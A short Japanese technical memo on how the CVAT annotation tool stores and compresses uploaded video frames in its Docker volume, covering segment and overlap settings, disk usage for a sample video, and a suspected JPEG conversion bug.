- 動画の場合はフレームに分解され、指定した圧縮率で圧縮される（疎視化）。圧縮された画像はアノテーションツールで使用される。
- データは`docker-compose.yml`の`volumes`に定義されている`cvat_data`に格納される。名前付きボリュームは`/var/lib/docker/volumes`に作成されるので、データは`/var/lib/docker/volumes/cvat_cvat_data/`に格納される。
- タスク単位で、`raw`,`original`,`compressed`のファルダが生成され、それぞれ元のファイル、分解されたファイル、圧縮されたファイルが格納されている。`zip chunks`を有効化しない場合は、`compressed`内のファイルがzipにならない。実用上問題があるかは不明。
- `segment size`を指定すると、ビデオを`segment size`のフレーム数に分割して`job`を複数生成する。
- 同時に`overlap size`を指定すると、連続するsegmentでフレームが`overlap size`分だけ重複する。重複したアノテーションは自動でマージされて全体で一つのアノテーションになる。
- 100MBの動画(1280x720, 8620frame, 圧縮無し)の場合、登録直後、ディスクを4GB消費。フレームのDL時に6GB消費。これらの消費が永続化temporalかは不明。

## バグ？
- フレーム画像がJPEGになる。
  再現不可能。同時に複数アップロードなどして失敗、圧縮のリトライをしたときに起こる？